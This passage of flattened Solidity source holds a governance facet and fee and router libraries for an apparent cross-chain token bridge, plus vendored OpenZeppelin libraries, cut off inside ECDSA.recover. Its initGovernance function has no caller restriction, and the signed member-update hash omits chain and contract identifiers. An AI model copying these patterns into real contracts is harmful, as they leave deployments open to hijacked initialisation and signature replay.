//SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "../interfaces/IGovernance.sol"; import "../libraries/LibGovernance.sol"; import "../libraries/LibFeeCalculator.sol"; import "../libraries/LibRouter.sol"; contract GovernanceFacet is IGovernance { using Counters for Counters.Counter; using SafeERC20 for IERC20; function initGovernance(address[] memory _members) external override { LibGovernance.Storage storage gs = LibGovernance.governanceStorage(); require(!gs.initialized, "Governance: already initialized"); require(_members.length > 0, "Governance: Member list must contain at least 1 element"); gs.initialized = true; for(uint256 i = 0; i < _members.length; i++) { LibGovernance.updateMember(_members[i], true); emit MemberUpdated(_members[i], true); } } /** * @notice Adds/removes a member account * @param _account The account to be modified * @param _status Whether the account will be set as member or not * @param _signatures The signatures of the validators authorizing this member update */ function updateMember(address _account, bool _status, bytes[] calldata _signatures) onlyValidSignatures(_signatures.length) external override { bytes32 ethHash = LibGovernance.computeMemberUpdateMessage(_account, _status); LibGovernance.validateSignatures(ethHash, _signatures); if (_status) { LibFeeCalculator.addNewMember(_account); } else { LibRouter.Storage storage rs = LibRouter.routerStorage(); uint256 claimableFees = LibFeeCalculator.claimReward(_account); IERC20(rs.albtToken).safeTransfer(_account, claimableFees); } LibGovernance.updateMember(_account, _status); emit MemberUpdated(_account, _status); } /// @return True/false depending on whether a given address is member or not function isMember(address _member) external view override returns (bool) { return LibGovernance.isMember(_member); } /// @return The count of members in the members set function membersCount() external view override returns (uint256) { return LibGovernance.membersCount(); } /// @return The address of a member at a given index function memberAt(uint256 _index) external view override returns (address) { return LibGovernance.memberAt(_index); } /// @return The current administrative nonce function administrativeNonce() external view override returns (uint256) { LibGovernance.Storage storage gs = LibGovernance.governanceStorage(); return gs.administrativeNonce.current(); } /// @notice Accepts number of signatures in the range (n/2; n] where n is the number of members modifier onlyValidSignatures(uint256 _n) { uint256 members = LibGovernance.membersCount(); require(_n <= members, "Governance: Invalid number of signatures"); require(_n > members / 2, "Governance: Invalid number of signatures"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } //SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; pragma experimental ABIEncoderV2; interface IGovernance { /// @notice An event emitted once member is updated event MemberUpdated(address member, bool status); /** * @notice Initializes the Governance facet with an initial set of members * @param _members The initial set of members */ function initGovernance(address[] memory _members) external; /** * @notice Adds/removes a member account * @param _account The account to be modified * @param _status Whether the account will be set as member or not * @param _signatures The signatures of the validators authorizing this member update */ function updateMember(address _account, bool _status, bytes[] calldata _signatures) external; /// @return True/false depending on whether a given address is member or not function isMember(address _member) external view returns (bool); /// @return The count of members in the members set function membersCount() external view returns (uint256); /// @return The address of a member at a given index function memberAt(uint256 _index) external view returns (address); /// @return The current administrative nonce function administrativeNonce() external view returns (uint256); } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/cryptography/ECDSA.sol"; library LibGovernance { using EnumerableSet for EnumerableSet.AddressSet; using Counters for Counters.Counter; bytes32 constant STORAGE_POSITION = keccak256("governance.storage"); struct Storage { bool initialized; // nonce used for making administrative changes Counters.Counter administrativeNonce; // the set of active validators EnumerableSet.AddressSet membersSet; } function governanceStorage() internal pure returns (Storage storage gs) { bytes32 position = STORAGE_POSITION; assembly { gs.slot := position } } /// @notice Adds/removes a validator from the member set function updateMember(address _account, bool _status) internal { Storage storage gs = governanceStorage(); if (_status) { require( gs.membersSet.add(_account), "Governance: Account already added" ); } else if (!_status) { require( gs.membersSet.length() > 1, "Governance: Would become memberless" ); require( gs.membersSet.remove(_account), "Governance: Account is not a member" ); } gs.administrativeNonce.increment(); } /// @notice Computes the bytes32 ethereum signed message hash of the member update message function computeMemberUpdateMessage(address _account, bool _status) internal view returns (bytes32) { Storage storage gs = governanceStorage(); bytes32 hashedData = keccak256( abi.encode(_account, _status, gs.administrativeNonce.current()) ); return ECDSA.toEthSignedMessageHash(hashedData); } /// @notice Returns true/false depending on whether a given address is member or not function isMember(address _member) internal view returns (bool) { Storage storage gs = governanceStorage(); return gs.membersSet.contains(_member); } /// @notice Returns the count of the members function membersCount() internal view returns (uint256) { Storage storage gs = governanceStorage(); return gs.membersSet.length(); } /// @notice Returns the address of a member at a given index function memberAt(uint256 _index) internal view returns (address) { Storage storage gs = governanceStorage(); return gs.membersSet.at(_index); } /// @notice Validates the provided signatures aginst the member set function validateSignatures(bytes32 _ethHash, bytes[] calldata _signatures) internal view { address[] memory signers = new address[](_signatures.length); for (uint256 i = 0; i < _signatures.length; i++) { address signer = ECDSA.recover(_ethHash, _signatures[i]); require(isMember(signer), "Governance: invalid signer"); for (uint256 j = 0; j < i; j++) { require(signer != signers[j], "Governance: duplicate signatures"); } signers[i] = signer; } } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./LibGovernance.sol"; library LibFeeCalculator { using SafeMath for uint256; bytes32 constant STORAGE_POSITION = keccak256("fee.calculator.storage"); struct Storage { bool initialized; // The current service fee uint256 serviceFee; // Total fees accrued since contract deployment uint256 feesAccrued; // Total fees accrued up to the last point a member claimed rewards uint256 previousAccrued; // Accumulates rewards on a per-member basis uint256 accumulator; // Total rewards claimed per member mapping(address => uint256) claimedRewardsPerAccount; } function feeCalculatorStorage() internal pure returns (Storage storage ds) { bytes32 position = STORAGE_POSITION; assembly { ds.slot := position } } /** * @notice addNewMember Sets the initial claimed rewards for new members * @param _account The address of the new member */ function addNewMember(address _account) internal { LibFeeCalculator.Storage storage fcs = feeCalculatorStorage(); uint256 amount = fcs.feesAccrued.sub(fcs.previousAccrued).div(LibGovernance.membersCount()); fcs.previousAccrued = fcs.feesAccrued; fcs.accumulator = fcs.accumulator.add(amount); fcs.claimedRewardsPerAccount[_account] = fcs.accumulator; } /** * @notice claimReward Make calculations based on fee distribution and returns the claimable amount * @param _claimer The address of the claimer */ function claimReward(address _claimer) internal returns (uint256) { LibFeeCalculator.Storage storage fcs = feeCalculatorStorage(); uint256 amount = fcs.feesAccrued.sub(fcs.previousAccrued).div(LibGovernance.membersCount()); fcs.previousAccrued = fcs.feesAccrued; fcs.accumulator = fcs.accumulator.add(amount); uint256 claimableAmount = fcs.accumulator.sub(fcs.claimedRewardsPerAccount[_claimer]); fcs.claimedRewardsPerAccount[_claimer] = fcs.accumulator; return claimableAmount; } /** * @notice Distributes rewards among members */ function distributeRewards() internal { LibFeeCalculator.Storage storage fcs = feeCalculatorStorage(); fcs.feesAccrued = fcs.feesAccrued.add(fcs.serviceFee); } } // SPDX-License-Identifier: Unlicense pragma solidity 0.7.6; library LibRouter { bytes32 constant STORAGE_POSITION = keccak256("router.storage"); /// @notice Struct containing information about a token's address and its native chain struct NativeTokenWithChainId { uint8 chainId; bytes token; } struct Storage { bool initialized; // Maps chainID => (nativeToken => wrappedToken) mapping(uint8 => mapping(bytes => address)) nativeToWrappedToken; // Maps wrapped tokens in the current chain to their native chain + token address mapping(address => NativeTokenWithChainId) wrappedToNativeToken; // Storage metadata for transfers. Maps sourceChain => (transactionId => metadata) mapping(uint8 => mapping(bytes32 => bool)) hashesUsed; // Address of the ALBT token in the current chain address albtToken; // The chainId of the current chain uint8 chainId; } function routerStorage() internal pure returns (Storage storage ds) { bytes32 position = STORAGE_POSITION; assembly { ds.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 